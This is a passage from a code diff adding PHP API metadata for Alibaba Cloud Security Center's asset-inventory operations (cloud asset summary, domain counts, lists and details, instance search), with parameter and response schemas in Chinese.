'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92022', + 'abilityTreeNodes' => [ + 'FEATUREsasLFD8D4', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'GroupedFields' => [ + 'description' => '云产品统计信息。', + 'type' => 'object', + 'properties' => [ + 'CategoryCount' => [ + 'description' => '不同类型云产品数量的统计信息。其中**MachineType**表示资产类型，**Count**表示资产类型对应的资产数量。 '."\n" + .'以下为**MachineType**取值说明：'."\n" + .'- **1**：负载均衡'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDB数据库', + 'type' => 'string', + 'example' => '[{"MachineType":1,"Count":11}]', + ], + 'InstanceCount' => [ + 'description' => '所有云产品数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RiskInstanceCount' => [ + 'description' => '存在风险的云产品数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '90', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::GetCloudAssetSummary', + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"GroupedFields\\": {\\n \\"CategoryCount\\": \\"[{\\\\\\"MachineType\\\\\\":1,\\\\\\"Count\\\\\\":11}]\\",\\n \\"InstanceCount\\": 100,\\n \\"RiskInstanceCount\\": 90\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n A2305077-05D4-4B77-9FEB-E7AB98DC2EF3\\n \\n 23\\n \\n 7\\n 1\\n \\n \\n 15\\n 2\\n \\n \\n 1\\n 3\\n \\n 1\\n \\n","errorExample":""}]', + 'title' => '查询云产品统计信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeDomainCount' => [ + 'summary' => '查询您的域名资产的数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.172.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RootDomainsCount' => [ + 'description' => '资产中的根网站数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', + ], + 'SubDomainsCount' => [ + 'description' => '资产中的子域名数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'TotalDomainsCount' => [ + 'description' => '查询到的域名资产的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RootDomainsCount\\": 5,\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\",\\n \\"SubDomainsCount\\": 5,\\n \\"TotalDomainsCount\\": 10\\n}","errorExample":""},{"type":"xml","example":"\\n 5\\n C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\n 5\\n 10\\n","errorExample":""}]', + 'title' => '查询域名资产数量', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeDomainList' => [ + 'summary' => '查询您的域名资产的信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.122.XX.XX', + ], + ], + [ + 'name' => 'FuzzyDomain', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的域名的搜索信息，支持模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'DomainType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的域名类型。取值：'."\n" + ."\n" + .'- **root**：根域名'."\n" + .'- **sub**：子域名'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'root', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的域名的数量。默认值为**10**，表示每页显示10条域名。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的域名的数量。默认值为**10**，表示每页显示10条域名。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的域名的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '27', + ], + 'Count' => [ + 'description' => '分页查询时，当前页面显示的域名的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'DomainListResponseList' => [ + 'description' => '域名资产信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'IpList' => [ + 'description' => '域名对应的IP信息。', + 'type' => 'string', + 'example' => '1.2.XX.XX,1.0.XX.XX', + ], + 'Domain' => [ + 'description' => '域名名称或网站名称。', + 'type' => 'string', + 'example' => 'example.com', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 10,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 27,\\n \\"Count\\": 10\\n },\\n \\"DomainListResponseList\\": [\\n {\\n \\"IpList\\": \\"1.2.XX.XX,1.0.XX.XX\\",\\n \\"Domain\\": \\"example.com\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0B48AB3C-84FC-424D-A01D-B9270EF46038\\n \\n 10\\n 10\\n 27\\n 10\\n \\n \\n 1.2.XX.XX,1.0.XX.XX\\n tst.com\\n \\n","errorExample":""}]', + 'title' => '查询域名资产信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeDomainDetail' => [ + 'summary' => '查询您的域名资产的详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'DomainName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的域名或网站的名称。'."\n" + ."\n" + .'> 不支持模糊查询，您需要输入完整的域名或网站名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'example.com', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Domain' => [ + 'description' => '域名。', + 'type' => 'string', + 'example' => 'example.com', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3A85CFCF-05C8-451A-9E41-C0D5E96BA407', + ], + 'VulCount' => [ + 'description' => '您网站资产中的漏洞的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AlarmCount' => [ + 'description' => '您网站资产中的告警的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RootDomain' => [ + 'description' => '域名对应的根域名的名称。', + 'type' => 'string', + 'example' => 'example.com', + ], + 'DomainDetailItems' => [ + 'description' => '域名相关的资产信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => 'lb-bp1g9dohoyin9cjhn6****', + ], + 'InternetIp' => [ + 'description' => '资产对应的公网的IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'InstanceName' => [ + 'description' => '资产的名称。', + 'type' => 'string', + 'example' => 'iZm5e6w7dzsktt6mz4yimeZ-6****', + ], + 'InstanceId' => [ + 'description' => '资产的实例ID。', + 'type' => 'string', + 'example' => 'i-m5e6w7dzsktt6mz4***', + ], + 'IntranetIp' => [ + 'description' => '资产对应的私网的IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'AssetType' => [ + 'description' => '域名下资产的资产类型。取值包括：'."\n" + ."\n" + .'- **0**：ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDB数据库', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataExists', + 'errorMessage' => '%s data exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Domain\\": \\"example.com\\",\\n \\"RequestId\\": \\"3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\",\\n \\"VulCount\\": 2,\\n \\"AlarmCount\\": 2,\\n \\"RootDomain\\": \\"example.com\\",\\n \\"DomainDetailItems\\": [\\n {\\n \\"Uuid\\": \\"lb-bp1g9dohoyin9cjhn6****\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"InstanceName\\": \\"iZm5e6w7dzsktt6mz4yimeZ-6****\\",\\n \\"InstanceId\\": \\"i-m5e6w7dzsktt6mz4***\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"AssetType\\": \\"0\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n example.com\\n 3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\n 2\\n 2\\n tst.com\\n \\n lb-bp1g9dohoyin9cjhn6****\\n 1.2.XX.XX\\n iZm5e6w7dzsktt6mz4yimeZ-6****\\n i-m5e6w7dzsktt6mz4***\\n 1.2.XX.XX\\n 0\\n \\n","errorExample":""}]', + 'title' => '查询域名资产详情', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeCloudCenterInstances' => [ + 'summary' => '通过设置搜索条件查询符合条件的资产信息，例如通过资产实例名称、资产实例所属区域等条件搜索指定资产。目前提供分页和NextToken两种方式，推荐NextToken方式。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92021', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的实例所在地域的ID。', + 'type' => 'string', + 'deprecated' => true, + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，输入参数时注意大小写。'."\n" + .'> 支持使用资产的实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产。您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"name":"riskStatus","value":"YES"},{"name":"internetIp","value":"1.2.XX.XX"}]', + ], + ], + [ + 'name' => 'MachineTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的类型。取值：'."\n" + ."\n" + .'- **ecs**：服务器'."\n" + .'- **cloud_product**：云产品'."\n" + .'- **eci**：弹性容器实例'."\n" + .'- **rund**：RunD容器实例'."\n" + .'- **runc**：RunC容器实例', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。默认**OR**，取值：'."\n" + ."\n" + .'- **OR**：表示多个搜索条件之间是**或**的关系'."\n" + .'- **AND**：表示多个搜索条件之间是**与**的关系', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的资产的数量。默认值为**20**，表示每页显示20条资产信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '100', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Importance', + 'in' => 'query', + 'schema' => [ + 'description' => '设置资产重要性。取值：'."\n" + .'- **2**：重要资产'."\n" + .'- **1**：一般资产'."\n" + .'- **0**：测试资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'NoGroupTrace', + 'in' => 'query', + 'schema' => [ + 'description' => '默认分组**未分组**是否要做国际化处理。默认**false**，取值：'."\n" + ."\n" + .'- **true**：不做国际化处理。即返回参数GroupTrace的取值为云安全中心的默认分组**未分组**时，**未分组**仍然显示为**未分组**。'."\n" + .'- **false**：需要国际化处理。即返回参数GroupTrace的取值为云安全中心的默认分组**未分组**时，**未分组**显示为**default**。'."\n", + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'title' => '是否使用NextToken方式拉取资产列表数据。', + 'description' => '是否使用NextToken方式拉取资产列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式'."\n" + .'- **false**：不使用NextToken方式', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'title' => '使用NextToken方式下返回的NextToken值。', + 'description' => '使用NextToken方式下返回的NextToken值。第一次拉取传空。', + 'type' => 'string', + 'required' => false, + 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + [ + 'name' => 'Flags', + 'in' => 'query', + 'schema' => [ + 'description' => '资产厂商。多个资产厂商之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**、**14**、**16**：其它云资产'."\n" + .'- **8**：轻量级资产'."\n" + .'- **9**：SAE'."\n" + .'- **10**：PAI', + 'type' => 'string', + 'required' => false, + 'example' => '1,2,3', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '32A73759-4C0F-4801-BE98-901223ACEE9A', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的资产的数量。默认值为**20**，表示每页显示20条资产信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的资产的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '50', + ], + 'Count' => [ + 'description' => '当前页显示的资产的条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'NextToken' => [ + 'title' => '使用NextToken方式下返回的NextToken值。', + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'Instances' => [ + 'description' => '资产详细信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产详细信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '实例的运行状态。取值：'."\n" + ."\n" + .'- **Running**：运行中。'."\n" + .'- **notRunning**：已关机。'."\n", + 'type' => 'string', + 'example' => 'Running', + ], + 'CpuInfo' => [ + 'description' => '资产的CPU信息。', + 'type' => 'string', + 'example' => 'Intel(R) Xeon(R) Platinum 8269CY CPU @ 2.50GHz', + ], + 'InternetIp' => [ + 'description' => '实例的公网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'Kernel' => [ + 'description' => '内核版本信息。', + 'type' => 'string', + 'example' => '3.10.0-1127.19.1.el7.x86_64', + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'OsName' => [ + 'description' => '实例的内核版本。', + 'type' => 'string', + 'example' => '-', + ], + 'Tag' => [ + 'description' => '资产实例的标签名称。', + 'type' => 'string', + 'example' => 'InternetIp,test', + ], + 'ClientStatus' => [ + 'description' => '实例的客户端在线状态。取值：'."\n" + ."\n" + .'- **online**：在线，表示资产的Agent客户端状态为**开启**。'."\n" + .'- **offline**：离线，表示资产的Agent客户端状态为**关闭**。'."\n" + .'- **pause**：暂停，表示资产的Agent客户端状态为**暂停保护**。', + 'type' => 'string', + 'example' => 'online', + ], + 'Mem' => [ + 'description' => '内存（MB）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1024', + ], + 'VpcInstanceId' => [ + 'description' => '实例所属VPC的ID。', + 'type' => 'string', + 'example' => 'vpc-uf60agqq65bs98zoo****', + ], + 'TagId' => [ + 'description' => '资产的标签ID。', + 'type' => 'string', + 'example' => '121313,41412', + ], + 'Flag' => [ + 'description' => '实例是否为阿里云资产。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：非阿里云资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'LastLoginTimestamp' => [ + 'description' => '客户端最后上线的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1637592907000', + ], + 'AuthVersion' => [ + 'description' => '资产的授权版本。取值：'."\n" + .''."\n" + .'- **1**：免费版'."\n" + .'- **6**： 防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**： 旗舰版'."\n" + .''."\n" + ."\n" + .''."\n" + .'- **1**：Free Edition'."\n" + .'- **6**：Anti-virus Edition'."\n" + .'- **5**：Advanced'."\n" + .'- **3**：Enterprise Edition'."\n" + .'- **7**：Ultimate Edition'."\n" + .''."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Region' => [ + 'description' => '实例所属地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou-cm***-***', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'yztest-l***', + ], + 'PodCount' => [ + 'description' => '容器组个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'VulCount' => [ + 'description' => '实例上存在的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'HcStatus' => [ + 'description' => '实例是否检测出了基线风险项。取值：'."\n" + .'- **YES**：检测出了基线风险项'."\n" + .'- **NO**：未检测出基线风险项', + 'type' => 'string', + 'example' => 'YES', + ], + 'CreatedTime' => [ + 'description' => '集群创建的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1607365213000', + ], + 'GroupTrace' => [ + 'description' => '资产所在的分组的名称。', + 'type' => 'string', + 'example' => 'default', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c690a0789419f4284a4e0a29e12fe****', + ], + 'RiskStatus' => [ + 'description' => '资产是否存在安全风险。取值：'."\n" + .'- **YES**：存在'."\n" + .'- **NO**：不存在', + 'type' => 'string', + 'example' => 'NO', + ], + 'Cores' => [ + 'description' => '资产的CPU核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'VulStatus' => [ + 'description' => '实例是否存在漏洞。取值：'."\n" + .'- **YES**：存在漏洞。'."\n" + .'- **NO**：不存在漏洞。', + 'type' => 'string', + 'example' => 'YES', + ], + 'AlarmStatus' => [ + 'description' => '资产是否存在安全告警。取值：'."\n" + .'- **YES**：存在安全告警'."\n" + .'- **NO**：不存在安全告警', + 'type' => 'string', + 'example' => 'NO', + ], + 'MacListString' => [ + 'description' => '系统的Mac地址。', + 'type' => 'string', + 'example' => '00:13:3e:31:13:39,02:12:67:b8:**:**', + ], + 'Importance' => [ + 'description' => '资产的重要性。取值：'."\n" + .'- **2**：重要资产'."\n" + .'- **1**：一般资产'."\n" + .'- **0**：测试资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'HealthCheckCount' => [ + 'description' => '实例中存在的基线风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Ip' => [ + 'description' => '实例的公网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'Os' => [ + 'description' => '实例的操作系统。', + 'type' => 'string', + 'example' => 'Linux', + ], + 'AuthModifyTime' => [ + 'description' => '资产的授权绑定时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1627974044000', + ], + 'SafeEventCount' => [ + 'description' => '资产存在的安全告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'InstanceId' => [ + 'description' => '实例ID。', + 'type' => 'string', + 'example' => 'i-m5***', + ], + 'AssetType' => [ + 'description' => '资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器'."\n" + .'- **1**：负载均衡'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDb数据库'."\n" + .'- **5**：REDIS数据库'."\n" + .'- **6**：容器镜像'."\n" + .'- **7**：容器'."\n", + 'type' => 'string', + 'example' => '0', + ], + 'IntranetIp' => [ + 'description' => '实例的私网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'Vendor' => [ + 'description' => '资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**、**14**、**16**：其它云资产'."\n" + .'- **8**：轻量级资产'."\n" + .'- **9**：SAE'."\n" + .'- **10**：PAI', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '资产所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hanghzou', + ], + 'Uuid' => [ + 'description' => '实例的UUID。', + 'type' => 'string', + 'example' => 'c9107c04-942f-40c1-981a-f1c1***', + ], + 'GroupId' => [ + 'description' => '实例所属分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '4120080', + ], + 'RegionName' => [ + 'description' => '资产的地域名称。', + 'type' => 'string', + 'example' => 'China (Hangzhou)', + ], + 'VendorName' => [ + 'description' => '资产的服务商名称。'."\n" + ."\n" + .'取值：'."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **OUT**：云外资产'."\n" + .'- **IDC**：IDC'."\n" + .'- **TENCENT**：其它云'."\n" + .'- **HUAWEICLOUD**：其它云'."\n" + .'- **Microsoft**：其它云'."\n" + .'- **AWS**：其它云'."\n" + .'- **TRIPARTITE**：轻量级服务器'."\n" + .'- **SAE**：SAE'."\n" + .'- **PAI**：PAI'."\n" + .'- **VOLCENGINE**：其它云'."\n" + .'- **google**：其它云', + 'type' => 'string', + 'example' => 'IDC', + ], + 'AuthVersionName' => [ + 'description' => '资产的授权版本（具体名称）。取值：'."\n" + ."\n" + .'- 免费版'."\n" + .'- 防病毒版'."\n" + .'- 高级版'."\n" + .'- 企业版'."\n" + .'- 旗舰版', + 'type' => 'string', + 'example' => 'Ultimate Edition', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'cluster1', + ], + 'ExposedStatus' => [ + 'description' => '资产暴露状态。取值：'."\n" + ."\n" + .'- **0**： 未暴露'."\n" + .'- **1**： 已暴露', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RiskCount' => [ + 'description' => '资产存在的风险项统计。JSON格式，包含以下字段：'."\n" + ."\n" + .'- **account**：异地登录和爆破成功的账号数量'."\n" + .'- **appNum**：扫描器漏洞数量'."\n" + .'- **asapVulCount**：高危漏洞总数量'."\n" + .'- **baselineHigh**：高危基线风险数量'."\n" + .'- **baselineLow**：低危基线风险数量'."\n" + .'- **baselineMedium**：中危基线风险数量'."\n" + .'- **baselineNum**： 云产品配置风险总数量'."\n" + .'- **cmsNum**： WEB-CMS漏洞数量'."\n" + .'- **containerAsap**： 容器高危漏洞数量'."\n" + .'- **containerLater**：容器中危漏洞数量'."\n" + .'- **containerNntf**： 容器低危漏洞数量'."\n" + .'- **containerRemind**：容器提醒告警数量'."\n" + .'- **containerSerious**：容器紧急告警数量'."\n" + .'- **containerSuspicious**：容器可疑告警数量'."\n" + .'- **cveNum**：Linux 漏洞数量'."\n" + .'- **emgNum**：应急漏洞数量'."\n" + .'- **health**：未处理的基线告警数量'."\n" + .'- **imageBaselineHigh**：镜像高危基线风险数量'."\n" + .'- **imageBaselineLow**：镜像低危基线风险数量'."\n" + .'- **imageBaselineMedium**：镜像中危基线风险数量'."\n" + .'- **imageBaselineNum**：镜像基线风险总数量'."\n" + .'- **imageMaliciousFileRemind**：镜像提醒恶意文件数量'."\n" + .'- **imageMaliciousFileSerious**：镜像紧急恶意文件数量'."\n" + .'- **imageMaliciousFileSuspicious**：镜像可疑恶意文件数量'."\n" + .'- **imageVulAsap**：镜像高危漏洞数量'."\n" + .'- **imageVulLater**：镜像中危漏洞数量'."\n" + .'- **imageVulNntf**：镜像低危漏洞数量'."\n" + .'- **laterVulCount**：中危漏洞数量'."\n" + .'- **newSuspicious**：告警数量'."\n" + .'- **nntfVulCount**：低危漏洞数量'."\n" + .'- 